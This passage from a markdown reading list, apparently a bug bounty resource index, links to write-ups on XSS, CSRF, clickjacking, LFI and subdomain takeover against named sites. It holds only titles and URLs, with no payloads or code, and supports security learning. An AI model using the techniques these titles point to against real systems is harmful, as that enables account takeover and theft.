komunitas](https://medium.com/@bughunter.sec7/self-xss-on-komunitas-bukalapak-com-b8a28dce4fbd) - [Reclected XSS on alibabacloud](https://medium.com/@bughunter.sec7/reflected-xss-on-alibabacloud-com-4e652fcca22f) - [Self XSS on komunitas bukalapak](https://medium.com/@bughunter.sec7/self-xss-on-komunitas-bukalapak-com-b8a28dce4fbd) - [A real XSS in OLX](https://medium.com/@paulorcchoupina/a-real-xss-in-olx-7727ae89c640) - [Self XSS using IE adobes](https://medium.com/@80vul/from-http-domain-to-res-domain-xss-by-using-ie-adobes-pdf-activex-plugin-9f2a72a87aff) - [Stealing local storage through XSS](http://blog.h4rsh4d.com/2019/04/stealing-local-storage-data-through-xss.html) - [1000 USD in 5mins Stored XSS in Outlook](https://omespino.com/write-up-1000-usd-in-5-minutes-xss-stored-in-outlook-com-ios-browsers/) - [OLX reflected XSS](https://medium.com/@abaykandotcom/olx-bug-bounty-reflected-xss-adb3095cd525) - [My first stored XSS on edmodo.com](https://medium.com/@ZishanAdThandar/my-first-stored-xss-on-edmodo-com-540a33349662) - [Hack your form new vector for BXSS](https://medium.com/@GeneralEG/hack-your-form-new-vector-for-blind-xss-b7a50b808016) - [How I found Blind XSS vulnerability in redacted.com](https://medium.com/@newp_th/how-i-find-blind-xss-vulnerability-in-redacted-com-33af18b56869) - [3 XSS in protonmail for iOS](https://medium.com/@vladimirmetnew/3-xss-in-protonmail-for-ios-95f8e4b17054) - [XSS in edmodo wihinin 5 mins](https://medium.com/@valakeyur/xss-in-edmodo-within-5-minute-my-first-bug-bounty-889e3da6167d) - [Stil work redirect Yahoo subdomain XSS](https://www.mohamedharon.com/2019/02/still-work-redirect-yahoo-subdomain-xss.html) - [XSS in azure devOps](https://5alt.me/2019/02/xss-in-azure-devops/) - [Shopify reflected XSS](https://medium.com/@modam3r5/reflected-xss-at-https-photos-shopify-com-ea696db3915c) - [Muliple Stored XSS on tokopedia](https://apapedulimu.click/multiple-stored-xss-on-tokopedia/) - [Stored XSS on edmodo](https://medium.com/@futaacmcyber/stored-xss-on-edmodo-11a3fbc6b6d0) - [A unique XSS scenario 1000 Bounty](https://medium.com/@rohanchavan/a-unique-xss-scenario-1000-bounty-347f8f92fcc6) - [Protonmail XSS Stored](https://medium.com/@ChandSingh/protonmail-xss-stored-b733031ac3b5) - [Chaining tricky ouath exploitation to stored XSS](https://medium.com/@nahoragg/chaining-tricky-oauth-exploitation-to-stored-xss-b67eaea4aabd) - [Antihack XSS to php uplaod](https://blog.saycure.io/2019/01/24/antihack-xss-2-php-upload/) - [Reflected XSS in zomato](https://medium.com/@sudhanshur705/reflected-xss-in-zomato-f892d6887147) - [XSS through SWF file](https://medium.com/@friendly_/xss-through-swf-file-4f04af7b0f59) - [Hackyourform BXSS](https://generaleg0x01.com/2019/01/13/hackyourform-bxss/) - [Reflected XSS on ASUS](https://medium.com/@thejuskrishnan911/reflected-xss-on-asus-568ce0541171) - [Stored XSS via Alternate text at zendesk support](https://medium.com/@hariharan21/stored-xss-via-alternate-text-at-zendesk-support-8bfee68413e4) - [How I stumbled upon a stored XSS : my first bug bounty story](https://medium.com/@parthshah14031998/how-i-stumbled-upon-a-stored-xss-my-first-bug-bounty-story-2793300d82bb) - [Cookie based Self XSS to Good XSS](https://medium.com/bugbountywriteup/cookie-based-self-xss-to-good-xss-d0d1ca16dd0e) - [Reflected XSS on amazon](https://medium.com/@newp_th/reflected-xss-on-ws-na-amazon-adsystem-com-amazon-f1e55f1d24cf) - [XSS worm : a creative use of web application vulnerability ](https://blog.compass-security.com/2018/12/xss-worm-a-creative-use-of-web-application-vulnerability/) - [Google code in XSS](https://websecblog.com/vulns/google-code-in-xss/) - [Self XSS on indeed.com](https://medium.com/@sampanna/self-xss-in-indeed-com-e0c99c104cba) - [How I accidentally found XSS in Protonmail for iOS app](https://www.secu.ninja/2018/12/04/how-to-accidentally-find-a-xss-in-protonmail-ios-app/) - [XML XSS in yandex.ru by accident](https://medium.com/@0ktavandi/xml-xss-in-yandex-ru-by-accident-7e63c692b4c0) - [Critical Stored XSS vulnerability](https://www.hackerinside.me/2018/11/critical-stored-xss-vulnerability.html) - [XSS bypass using META tag in realestate.postnl.nl ](https://medium.com/bugbountywriteup/xss-bypass-using-meta-tag-in-realestate-postnl-nl-32db25db7308) - [Edmodo XSS bug](https://medium.com/@sameerphad72/edmodo-xss-bug-9c0fc9bdd0bf) - [XSS in hiden input fields](https://portswigger.net/blog/xss-in-hidden-input-fields) - [How I discovered XSS that affected over 20 uber subdomains](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) - [DOM based XSS or why you should not rely on cloudflare too much](https://medium.com/bugbountywriteup/dom-based-xss-or-why-you-should-not-rely-on-cloudflare-too-much-a1aa9f0ead7d) - [XSS in dynamics 365](https://medium.com/@tim.kent/xss-in-dynamics-365-25c800aac473) - [XSS deface with html and how to convert the html into charcode](https://medium.com/@ariffadhlullah2310/xss-deface-with-html-and-how-to-convert-the-html-into-charcode-f0c62dd5ef3f) - [Cookie based injection XSS making explitable with exploiting other vulns](https://medium.com/@agrawalsmart7/cookie-based-injection-xss-making-exploitable-with-out-exploiting-other-vulns-81132ca01d67) - [XSS with put in ghost blog](https://www.itsecguy.com/xss-with-put-in-ghost-blog/) - [XSS using a Bug in safari and why blacklists are stupid](https://labs.detectify.com/2018/10/19/xss-using-a-bug-in-safari-and-why-blacklists-are-stupid/) - [Magic XSS with two parameters](https://medium.com/@m4shahab1/magic-xss-with-two-parameters-463559b03949) - [DOM XSS bug affecting tinder shopify Yelp](https://www.vpnmentor.com/blog/dom-xss-bug-affecting-tinder-shopify-yelp/) - [Persistent XSS unvalidated open graph embed at linkedin.com](https://medium.com/@jonathanbouman/persistent-xss-unvalidated-open-graph-embed-at-linkedin-com-db6188acedd9) - [My first 0day exploit CSP Bypass Reflected XSS](https://medium.com/@alicanact60/my-first-0day-exploit-csp-bypass-reflected-xss-bugbounty-c7efa4bed3d7) - [Google Stored XSS in payments](https://medium.com/@brs.sgdc/google-stored-xss-in-payments-350cd7ba0d1b) - [XSS on dropbox](https://www.kumar.ninja/2018/09/xss-surveydropboxcom.html) - [Weaponizing XSS attacking internal domains ](https://medium.com/@rahulraveendran06/weaponizing-xss-attacking-internal-domains-d8ba1cbd106d) - [How I XSSed UBER and bypassed CSP](https://medium.com/@efkan162/how-i-xssed-uber-and-bypassed-csp-9ae52404f4c5) - [RXSS and CSRF bypass to Account takeover](https://nirmaldahal.com.np/r-xss-csrf-bypass-to-account-takeover/) - [Another XSS in google collaboratory](https://blog.bentkowski.info/2018/09/another-xss-in-google-colaboratory.html) - [How I bypassed AKAMAI waf in overstock.com ](https://medium.com/@0ktavandi/how-i-bypassed-akamai-kona-waf-xss-in-overstock-com-f205b0e71a0d) - [Reflected XSS at philips.com](https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c) - [XSS vulnerabilities in multiple iframe busters affecting top tier sites](https://randywestergren.com/xss-vulnerabilities-in-multiple-iframe-busters-affecting-top-tier-sites/) - [Reflected DOM XSS and clickjacking silvergoldbull](https://medium.com/@maxon3/reflected-dom-xss-and-clickjacking-on-https-silvergoldbull-de-bt-html-daa36bdf7bf0) - [Stored XSS vulnerability in h1 private](https://www.hackerinside.me/2018/09/stored-xss-vulnerability-in-h1c-private.html) - [Authbypass SQLi and XSS](https://blog.securitybreached.org/2018/09/09/zol-zimbabwe-authbypass-sqli-xss/) - [Stored XSS vulnerability in tumblr](https://www.hackerinside.me/2018/09/stored-xss-vulnerability-in-tumblr.html) - [XSS in google code jam](https://websecblog.com/vulns/reflected-xss-in-google-code-jam/) - [Mapbox XSS](https://www.mohamedharon.com/2018/08/mapboxxss.html) - [My first valid XSS](https://medium.com/@nandwanajatin25/my-first-valid-xss-hackerone-f8ba0a7c647) - [Stored XSS in webcomponents.org](https://websecblog.com/vulns/stored-xss-in-webcomponents-org/) - [3 minutes XSS](https://medium.com/bugbountywriteup/3-minutes-xss-71e3340ad66b) - [icloud.com DOM based XSS](https://medium.com/@musabalhussein/icloud-com-dom-based-xss-bugbounty-6f88cb865b18) - [XSS at hubspot and in email areas](https://medium.com/@friendly_/xss-at-hubspot-and-xss-in-email-areas-674fa39d5248) - [Self XSS leads to blind XSS and Reflected XSS](https://medium.com/@friendly_/self-xss-leads-to-blind-xss-and-reflected-xss-950b1dc24647) - [Refltected XSS primagames.com](https://medium.com/@friendly_/reflected-xss-primagames-com-c7a641912626) - [Stored XSS in gameskinny](https://medium.com/@friendly_/stored-xss-in-gameskinny-aa26c6a6ae40) - [Blind XSS in Chrome experments Google](https://evanricafort.blogspot.com/2018/08/blind-xss-in-chrome-experiments-google.html) - [Yahoo two XSSI vulnerabilities chained to steal user information (750$)](https://medium.com/@0xHyde/yahoo-two-xssi-vulnerabilities-chained-to-steal-user-information-750-bounty-e9bc6a41a40a) - [How I found XSS on amazon](https://medium.com/@codingkarma/how-i-found-xss-on-amazon-f62b50f1c336) - [A blind XSS in messengers twins](http://omespino.com/write-up-telegram-bug-bounty-whatsapp-n-a-blind-xss-stored-ios-in-messengers-twins-who-really-care-about-your-security/) - [XSS in microsoft Subdomain](https://medium.com/@sudhanshur705/xss-in-microsoft-subdomain-81c4e46d6631) - [Persistent XSS at ah.nl](https://medium.com/@jonathanbouman/persistent-xss-at-ah-nl-198fe7b4c781) - [The 12000 intersection betwenn clickjaking , XSS and DOS](https://samcurry.net/the-12000-intersection-between-clickjacking-xss-and-denial-of-service/) - [XSS in google collaboratory CSP bypass](https://blog.bentkowski.info/2018/06/xss-in-google-colaboratory-csp-bypass.html) - [How I found blind XSS in apple](https://medium.com/@tahasmily2013m/how-i-found-blind-xss-in-apple-c890775e745a) - [Reflected XSS on amazon.com](https://medium.com/@jonathanbouman/reflected-client-xss-amazon-com-7b0d3cec787) - [How I found XSS in 360totalsecurity](https://medium.com/@tahasmily2013m/i-have-found-vulnerability-in-360totalsecurity-is-reflected-xss-in-3a6bd602bb5a) - [The 2.5 BTC Stored XSS](https://medium.com/@khaled.hassan/the-2-5-btc-stored-xss-f2f9393417f2) - [XSS Vulnerability in Netflix ](https://medium.com/@black_b/vulnerability-netflix-cross-site-scripting-xss-d44010142e2c) - [A story of a UXSS via DOM XSS clickjacking in steam inventory helper](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/index.html) - [How I found XSS via SSRF vulnerability](https://medium.com/@adeshkolte/how-i-found-xss-via-ssrf-vulnerability-adesh-kolte-873b30a6b89f) - [Searching for XSS found ldap injection](https://www.nc-lp.com/blog/searching-for-xss-found-ldap-injection) - [how I converted SSRF to XSS in a SSRF vulnerable JIRA](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158) - [Reflected XSS in Yahoo subdomain](https://www.mohamedharon.com/2018/05/reflected-xss-in-hk-yahoo.html) - [Account takeover and blind XSS](https://blog.witcoat.com/2018/05/30/account-takeover-and-blind-xss-go-pro-get-bugs/) - [How I found 5 stored XSS on a private program](https://cybristerboy.blogspot.com/2018/05/how-i-found-5-store-xss-on-private.html) - [Persistent XSS to steal passwords(Paypal)](https://wesecureapp.com/blog/persistent-xss-to-steal-passwords-paypal/) - [Self XSS + CSRF to stored XSS](https://medium.com/@renwa/self-xss-csrf-to-stored-xss-54f9f423a7f1) - [Stored XSS in yahoo and subdomains ](https://medium.com/@ozil.hakim/stored-xss-in-yahoo-and-all-subdomains-bbcaa7c3b8d) - [XSS in microsoft](https://medium.com/@hacker_eth/xss-in-microsoft-7a70416aee75) - [Blind XSS at customer support panel](https://blog.hx01.me/2018/05/blind-xss-to-customer-support-panel.html) - [Reflected XSS on stackoverflow](https://medium.com/@newp_th/reflected-xss-on-stack-overflow-b8366a855472) - [Stored XSS in Yahoo](https://medium.com/@TheShahzada/stored-xss-in-yahoo-b0878ecc97e2) - [XSS 403 forbidden Bypass](https://medium.com/@nuraalamdipu/xss-403-forbidden-bypass-write-up-e070de52bc06) - [Turning self XSS into non self XSS via authorization issue at paypal](https://medium.com/@YoKoKho/turning-self-xss-into-non-self-stored-xss-via-authorization-issue-at-paypal-tech-support-and-brand-3046f52ac16b) - [A story of stored XSS bypass](https://medium.com/@prial261/story-of-a-stored-xss-bypass-26e6659f807b) - [Mangobaaz hacked XSS to credentials](https://blog.hx01.me/2018/04/mangobaaz-hacked-xss-to-credentials.html) - [How I got stored XSS using file upload](https://medium.com/@vis_hacker/how-i-got-stored-xss-using-file-upload-5c33e19df51e) - [Bypassing CSP to abusing XSS filter in edge](https://medium.com/bugbountywriteup/bypass-csp-by-abusing-xss-filter-in-edge-43e9106a9754) - [XSS to session Hijacking](https://medium.com/@yassergersy/xss-to-session-hijack-6039e11e6a81) - [Reflected XSS on www.zomato.com](https://www.mohamedharon.com/2018/04/reflected-xss-on-wwwzomatocom-by.html) - [XSS in subdomain of yahoo](https://www.mohamedharon.com/2018/03/xss-in-subdomain-httpsyefgrantsyahoocom.html) - [XSS in yahoo.net subdomain ](https://www.mohamedharon.com/2018/03/xss-in-sportstwcampaignyahoonet.html) - [Reflected XSS moongaloop swf version 62x](https://www.mohamedharon.com/2018/03/reflected-xss-moogaloop-swf-version-62x.html) - [Google adwords 3133.7 Stored XSS](https://medium.com/@Alra3ees/google-adwords-3133-7-stored-xss-27bb083b8d27) - [How I found a surprising XSS vulnerability on oracle netsuite](https://medium.com/bug-bounty-hunting/how-i-found-a-surprising-xss-vulnerability-on-oracle-netsuite-2d48b7fcf0c8) - [Stored XSS on snapchat](https://medium.com/@mrityunjoy/stored-xss-on-snapchat-5d704131d8fd) - [How I was able to bypass XSS protection on h1 private program](https://blog.securitybreached.org/2018/02/02/how-i-was-able-to-bypass-xss-protection-on-hackerones-private-program/) - [Reflected XSS possible](https://www.mohamedharon.com/2018/01/reflected-xss-possible-server-side.html) - [XSS via angularjs template injection hostinger](https://blog.ibrahimdraidia.com/xss-via-angularjs-template-injection_hostinger/) - [Microsoft follow feature XSS (CVE-2017-8514)](https://medium.com/@adeshkolte/microsoft-sharepoints-follow-feature-xss-cve-2017-8514-adesh-kolte-d78d701cd064) - [XSS protection bypass made my quickest bounty ever](https://medium.com/@Skylinearafat/xss-protection-bypass-made-my-quickest-bounty-ever-f4fd970c9116) - [Taking note XSS to RCE in the simplenote electron client](https://ysx.me.uk/taking-note-xss-to-rce-in-the-simplenote-electron-client/) - [VMWARE official vcdx reflected XSS](https://medium.com/@honcbb/vmware-official-vcdx-reflected-xss-90e69a3c35e1) - [How I pwned a company using IDOR and Blind XSS](https://www.ansariosama.com/2017/11/how-i-pwned-company-using-idor-blind-xss.html) - [From Recon to DOM based XSS](https://medium.com/@abdelfattahibrahim/from-recon-to-dom-based-xss-f279602a14cf) - [Local file read via XSS ](http://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html) - [Non persistent XSS at microsoft](https://medium.com/@adeshkolte/non-persistent-xss-at-microsoft-adesh-kolte-ad36b1b4a325) - [A Stored XSS in google (double kill)](https://ysx.me.uk/app-maker-and-colaboratory-a-stored-google-xss-double-bill/) - [Filter bypass to Reflected XSS on finance.yahoo.com (mobile version)](https://medium.com/@saamux/filter-bypass-to-reflected-xss-on-https-finance-yahoo-com-mobile-version-22b854327b27) - [900$ XSS in yahoo : recon wins](https://medium.com/bugbountywriteup/900-xss-in-yahoo-recon-wins-65ee6d4bfcbd) - [How I bypassed practos firewall and triggered an XSS vulnerability](https://medium.com/bugbountywriteup/how-i-bypassed-practos-firewall-and-triggered-a-xss-b30164a8f1dc) - [Stored XSS to full information disclosure](https://guptashubham.com/stored-xss-to-full-information-disclosure/) - [Story of parameter specific XSS](http://www.noob.ninja/2017/09/story-of-parameter-specific-xss.html) - [Chaining self XSS with UI redressing leading to session hijacking](https://medium.com/bugbountywriteup/chaining-self-xss-with-ui-redressing-is-leading-to-session-hijacking-pwn-users-like-a-boss-efb46249cd14) - [Stored XSS with arbitrary cookie installation](https://medium.com/@arbazhussain/stored-xss-with-arbitrary-cookie-installation-567931433c7f) - [Reflective XSS and Open redirect on indeed.com subdomain](https://medium.com/@SyntaxError4/reflective-xss-and-open-redirect-on-indeed-com-subdomain-b4ab40e40c83) - [How I found reflected XSS on Yahoo subdomain](https://medium.com/@SyntaxError4/how-i-found-reflective-xss-in-yahoo-subdomain-3ad4831b386e) - [Dont just alert(1) because XSS is more fun](https://medium.com/@armaanpathan/dont-just-alert-1-because-xss-is-for-fun-f88cfb88d5b9) - [UBER XSS by helpe of KNOXSS](https://medium.com/@Alra3ees/my-write-up-about-uber-cross-site-scripting-by-help-of-knoxss-b1b56f8d090) - [Reflected XSS in Yahoo](https://medium.com/@TheShahzada/reflected-xss-in-yahoo-6e2b6b177448) - [Reflected XSS on ww.yahoo.com](https://medium.com/@saamux/reflected-xss-on-www-yahoo-com-9b1857cecb8c) - [XSS because of wrong content type header](https://bugbaba.blogspot.com/2017/08/xss-because-of-wrong-content-type-header.html) ## Cross Site Request Forgery (CSRF) - [How a simple CSRF attack turned into a P1](https://ladysecspeare.wordpress.com/2020/04/05/how-a-simple-csrf-attack-turned-into-a-p1-level-bug/) - [How I exploited the json csrf with method override technique](https://medium.com/@secureITmania/how-i-exploit-the-json-csrf-with-method-override-technique-71c0a9a7f3b0) - [How I found CSRF(my first bounty)](https://medium.com/@rajeshranjan457/how-i-csrfd-my-first-bounty-a62b593d3f4d) - [Exploiting websocket application wide XSS and CSRF](https://medium.com/@osamaavvan/exploiting-websocket-application-wide-xss-csrf-66e9e2ac8dfa) - [Site wide CSRF on popular program](https://fellchase.blogspot.com/2020/02/site-wide-csrf-on-popular-program.html) - [Using CSRF I got weird account takeover](https://flex0geek.blogspot.com/2020/02/using-csrf-i-got-weird-account-takeover.html) - [CSRF CSRF CSRF](https://medium.com/@navne3t/csrf-csrf-csrf-f203e6452a9c) - [Google Bugbounty CSRF in learndigital.withgoogle.com](https://santuysec.com/2020/01/21/google-bug-bounty-csrf-in-learndigital-withgoogle-com/) - [CSRF token bypass [a tale of 2k bug]](https://medium.com/@sainttobs/csrf-token-bypasss-a-tale-of-my-2k-bug-ff7f51166ea1) - [2FA bypass via CSRF attack](https://medium.com/@vbharad/2-fa-bypass-via-csrf-attack-8f2f6a6e3871) - [Stored iframe injection CSRF account takeover](https://medium.com/@irounakdhadiwal999/stored-iframe-injection-csrf-account-takeover-42c93ad13f5d) - [Instagram delete media CSRF](https://blog.darabi.me/2019/12/instagram-delete-media-csrf.html) - [An inconsistent CSRF](https://smaranchand.com.np/2019/10/an-inconsistent-csrf/) - [Bypass CSRF with clickjacking worth 1250](https://medium.com/@saadahmedx/bypass-csrf-with-clickjacking-worth-1250-6c70cc263f40) - [Sitewide CSRF graphql](https://rafiem.github.io/bugbounty/tokopedia/site-wide-csrf-graphql/) - [Account takeover using CSRF json based](https://medium.com/@shub66452/account-takeover-using-csrf-json-based-a0e6efd1bffc) - [CORS to CSRF attack](https://medium.com/@osamaavvan/cors-to-csrf-attack-c33a595d441) - [My first CSRF to account takeover](https://medium.com/@nishantrustlingup/my-first-csrf-to-account-takeover-worth-750-1332641d4304) - [4x chained CSRFs chained for account takeover](https://medium.com/a-bugz-life/4x-csrfs-chained-for-company-account-takeover-f9fada416986) - [CSRF can lead to stored XSS](https://medium.com/bugbountywriteup/csrf-attack-can-lead-to-stored-xss-f40ba91f1e4f) - [Yet other examples of abusing CSRF in logout](https://soroush.secproject.com/blog/2019/04/yet-other-examples-of-abusing-csrf-in-logout/) - [Wordpress CSRF to RCE](https://blog.ripstech.com/2019/wordpress-csrf-to-rce/) - [Bruteforce user IDs via CSRF to delete all the users with CSRF attack](https://medium.com/@armaanpathan/brute-forcing-user-ids-via-csrf-to-delete-all-users-with-csrf-attack-216ccd4d832c) - [CSRF Bypass using cross frame scripting](https://medium.com/@mr_hacker/csrf-bypass-using-cross-frame-scripting-c349d6f33eb6) - [Account takeover via CSRF](https://medium.com/@adeshkolte/lintern-ute-account-takeover-via-csrf-adesh-kolte-307f7065ee74) - [A very useful technique to bypass the CSRF protection](https://medium.com/@Skylinearafat/a-very-useful-technique-to-bypass-the-csrf-protection-for-fun-and-profit-471af64da276) - [CSRF account takeover exlpained automated manual bugbounty](https://medium.com/bugbountywriteup/csrf-account-takeover-explained-automated-manual-bug-bounty-447e4b96485b) - [CSRF to account takeover](https://medium.com/bugbountywriteup/csrf-account-takeover-in-a-company-worth-1b-6e966813c262) - [How I got 500USD from microsoft for CSRF vulnerability](https://medium.com/@adeshkolte/how-i-got-500-from-microsoft-for-csrf-vulnerability-700accaf48b9) - [Critical Bypass CSRF protection](https://medium.com/bugbountywriteup/critical-bypass-csrf-protection-on-ibm-313ffb68dd0c) - [RXSS CSRF bypass to full account takeover](https://nirmaldahal.com.np/r-xss-csrf-bypass-to-account-takeover/) - [Youtube CSRF](https://www.sagarvd.me/2018/09/youtube-csrf.html) - [Self XSS + CSRF = Stored XSS](https://medium.com/@renwa/self-xss-csrf-to-stored-xss-54f9f423a7f1) - [Ribose IDOR with simple CSRF bypass unrestrcited changes and deletion to other photo profile](https://medium.com/@YoKoKho/ribose-idor-with-simple-csrf-bypass-unrestricted-changes-and-deletion-to-other-photo-profile-e4393305274e) - [JSON CSRF attack on a social networking site](https://medium.com/@pig.wig45/json-csrf-attack-on-a-social-networking-site-hackerone-platform-3d7aed3239b0) - [Hacking facebook oculus integration CSRF](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf) - [Amazon leaking CSRF token using service worker](https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/) - [Facebook graphql CSRF](https://philippeharewood.com/facebook-graphql-csrf/) - [Chain the vulnerabilities and take your report impact on the moon csrf to html injection](https://medium.com/@armaanpathan/chain-the-vulnerabilities-and-take-your-report-impact-on-the-moon-csrf-to-html-injection-which-608fa6e74236) - [Partial CSRF to Full CSRF](https://medium.com/@ciph3r7r0ll/that-escalated-quickly-from-partial-csrf-to-reflected-xss-to-complete-csrf-to-stored-xss-6ba8103069c2) - [Stealing access token of one drive integration by chain csrf vulnerability ](https://medium.com/@arbazhussain/stealing-access-token-of-one-drive-integration-by-chaining-csrf-vulnerability-779f999624a7) - [Metasploit web project kill all running taks CSRF CVE-2017-5244](https://www.seekurity.com/blog/general/metasploit-web-project-kill-all-running-tasks-csrf-cve-2017-5244/) - [Messenger site wide CSRF](https://whitton.io/articles/messenger-site-wide-csrf/) - [Hacking Facebook CSRF device login flow](https://www.josipfranjkovic.com/blog/hacking-facebook-csrf-device-login-flow) - [Two vulnerabilities makes an exploit XSS and CSRF in bing](https://medium.com/bugbountywriteup/two-vulnerabilities-makes-an-exploit-xss-and-csrf-in-bing-cd4269da7b69) - [How I bypassed Facebook in 2016](https://medium.com/blog.darabi.me/2016/05/how-i-bypassed-facebook-csrf-in-2016.html) - [Ubiquiti bugbounty unifi generic CSRF protection Bypass ](https://www.rcesecurity.com/2016/02/ubiquiti-bug-bounty-unifi-v3-2-10-generic-csrf-protection-bypass/) - [Bypass Facebook CSRF](https://blog.darabi.me/2015/04/bypass-facebook-csrf.html) - [Facebook CSRF full account takeover](https://www.josipfranjkovic.com/blog/facebook-csrf-full-account-takeover) ## Clickjacking (UI redressing attack) - [Google Bug bounty Clickjacking on Google payment](https://santuysec.com/2020/03/06/google-bug-bounty-clickjacking-on-google-payment-1337/) - [Google APIs Clickjacking worth 1337$](https://medium.com/@godofdarkness.msf/google-apis-clickjacking-1337-7a3a9f3eb8df) - [Clickjacking + XSS on Google org](https://websecblog.com/vulns/clickjacking-xss-on-google-org/) - [Bypass CSRF with clickjacking on Google org ](https://medium.com/@saadahmedx/bypass-csrf-with-clickjacking-worth-1250-6c70cc263f40) - [1800 worth Clickjacking](https://medium.com/@osamaavvan/1800-worth-clickjacking-1f92e79d0414) - [Account takeover with clickjacking](https://medium.com/@osamaavvan/account-taker-with-clickjacking-ace744842ec3) - [Clickjacking on google CSE](https://medium.com/@abaykandotcom/clickjacking-on-google-cse-6636bba72d20) - [How I accidentally found clickjacking in Facebook](https://malfind.com/index.php/2018/12/21/how-i-accidentaly-found-clickjacking-in-facebook/) - [Clickjacking on google myaccount worth 7500](https://apapedulimu.click/clickjacking-on-google-myaccount-worth-7500/) - [Clickjacking in google docs and void typing feature](https://medium.com/@raushanraj_65039/clickjacking-in-google-docs-and-voice-typing-feature-c481d00b020a) - [Reflected DOM XSS and Clickjacking](https://medium.com/@maxon3/reflected-dom-xss-and-clickjacking-on-https-silvergoldbull-de-bt-html-daa36bdf7bf0) - [binary.com clickjacking vulnerability exploiting HTML5 security features](https://medium.com/@ameerassadi/binary-com-clickjacking-vulnerability-exploiting-html5-security-features-368c1ff2219d) - [12000 intersection betwen clickjacking XSS and denial of service](https://samcurry.net/the-12000-intersection-between-clickjacking-xss-and-denial-of-service/) - [Steam fire and paste : a story of uxss via DOM XSS and Clickjacking in steam inventory helper](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/index.html) - [Yet another Google Clickjacking](https://medium.com/@raushanraj_65039/google-clickjacking-6a04132b918a) - [Redressing instagram leaking application tokens via instagram clickjacking vulnerability](https://www.seekurity.com/blog/general/redressing-instagram-leaking-application-tokens-via-instagram-clickjacking-vulnerability/) - [Self XSS to Good XSS and Clickjacking](https://medium.com/@arbazhussain/self-xss-to-good-xss-clickjacking-6db43b44777e) - [Microsoft Yammer clickjacking exploiting HTML5 security features](https://www.seekurity.com/blog/general/microsoft-yammer-clickjacking-exploiting-html5-security-features/) - [Firefox find my device clickjacking](https://www.seekurity.com/blog/general/firefox-find-my-device-service-clickjacking/) - [Whatsapp Clickjacking vulnerability](https://www.seekurity.com/blog/general/whatsapp-clickjacking-vulnerability-yet-another-web-client-failure/) - [Telegram WEB client clickjacking vulnerability](https://www.seekurity.com/blog/general/telegram-web-client-clickjacking-vulnerability/) - [Facebook Clickjacking : how we put a new dress on facebook UI](https://www.seekurity.com/blog/write-ups/facebook-clickjacking-how-we-put-a-new-dress-on-facebook-ui/) ## Local File Inclusion (LFI) - [RFI LFI Writeup](http://hassankhanyusufzai.com/RFI_LFI_writeup/) - [My first LFI](https://cyberzombie.in/my-first-lfi/) - [Bug bounty LFI at Google.com](https://medium.com/@vulnerabilitylabs/bug-bounty-lfi-at-google-com-3c2e17d8c912) - [Google LFI on production servers in redacted.google.com](https://omespino.com/write-up-google-bug-bounty-lfi-on-production-servers-in-redacted-google-com-13337-usd/) - [LFI to 10 server pwn](https://nirmaldahal.com.np/lfi-to-10-server-pwn/) - [LFI in apigee portals](https://offensi.com/2019/01/31/lfi-in-apigee-portals/) - [Chain the bugs to pwn an organisation LFI unrestricted file upload to RCE](https://medium.com/@armaanpathan/chain-the-bugs-to-pwn-an-organisation-lfi-unrestricted-file-upload-remote-code-execution-93dfa78ecce) - [How we got LFI in apache drill recom like a boss](https://medium.com/bugbountywriteup/how-we-got-lfi-in-apache-drill-recon-like-a-boss-6f739a79d87d) - [Bugbounty journey from LFI to RCE](https://medium.com/@logicbomb_1/bugbounty-journey-from-lfi-to-rce-how-a69afe5a0899) - [LFI to RCE on deutche telekom bugbounty](https://medium.com/@maxon3/lfi-to-command-execution-deutche-telekom-bug-bounty-6fe0de7df7a6) - [From LFI to RCE via PHP sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/) - [magix bugbounty magix.com XSS RCE SQLI and LFI](https://www.rcesecurity.com/2014/04/magix-bug-bounty-magix-com-rce-sqli-and-xara-com-lfi-xss/) - [LFI in nokia maps](http://blog.shashank.co/2013/10/lfi-in-nokia-maps.html) ## Subdomain Takeover - [How I bought my way to subdomain takeover on tokopedia](https://medium.com/bugbountywriteup/how-i-bought-my-way-to-subdomain-takeover-on-tokopedia-8c6697c85b4d) - [Subdomain Takeover via pantheon](https://smaranchand.com.np/2019/12/subdomain-takeover-via-pantheon/) - [Subdomain takeover : a unique way](https://www.mohamedharon.com/2019/11/subdomain-takeover-via.html) - [Escalating subdomain takeover to steal sensitive stuff](https://blog.takemyhand.xyz/2019/05/escalating-subdomain-takeovers-to-steal.html) - [Subdomain takeover awarded 200](https://medium.com/@friendly_/subdomain-takeover-awarded-200-8296f4abe1b0) - [Subdomain takeover via wufoo service](https://www.mohamedharon.com/2019/02/subdomain-takeover-via-wufoo-service-in.html) - [Subdomain takeover via Hubspot](https://www.mohamedharon.com/2019/02/subdomain-takeover-via-hubspot.html) - [Souq.com subdomain takeover](https://www.mohamedharon.com/2019/02/souqcom-subdomain-takeover-via.html) - [Subdomain takeover : new level](https://medium.com/bugbountywriteup/subdomain-takeover-new-level-43f88b55e0b2) - [Subdomain takeover due to misconfigured project settings for custom domain](https://medium.com/@prial261/subdomain-takeover-dew-to-missconfigured-project-settings-for-custom-domain-46e90e702969) - [Subdomain takeover via shopify vendor](https://www.mohamedharon.com/2018/10/subdomain-takeover-via-shopify-vendor.html) - [Subdomain takeover via unsecured s3 bucket](https://blog.securitybreached.org/2018/09/24/subdomain-takeover-via-unsecured-s3-bucket/) - [Subdomain takeover worth 200](https://medium.com/@alirazzaq/subdomain-takeover-worth-200-ed73f0a58ffe) - [Subdomain takeover via campaignmonitor](https://www.mohamedharon.com/2018/09/subdomain-takeover-via-campaignmonitor.html) - [How to do 55000 subdomain takeover in a blink of an eye](https://medium.com/@thebuckhacker/how-to-do-55-000-subdomain-takeover-in-a-blink-of-an-eye-a94954c3fc75) - [Subdomain takeover Starbucks (Part 2)](https://0xpatrik.com/subdomain-takeover-starbucks-ii/) - [Subdomain takeover Starbucks](https://0xpatrik.com/subdomain-takeover-starbucks/) - [Uber wildcard 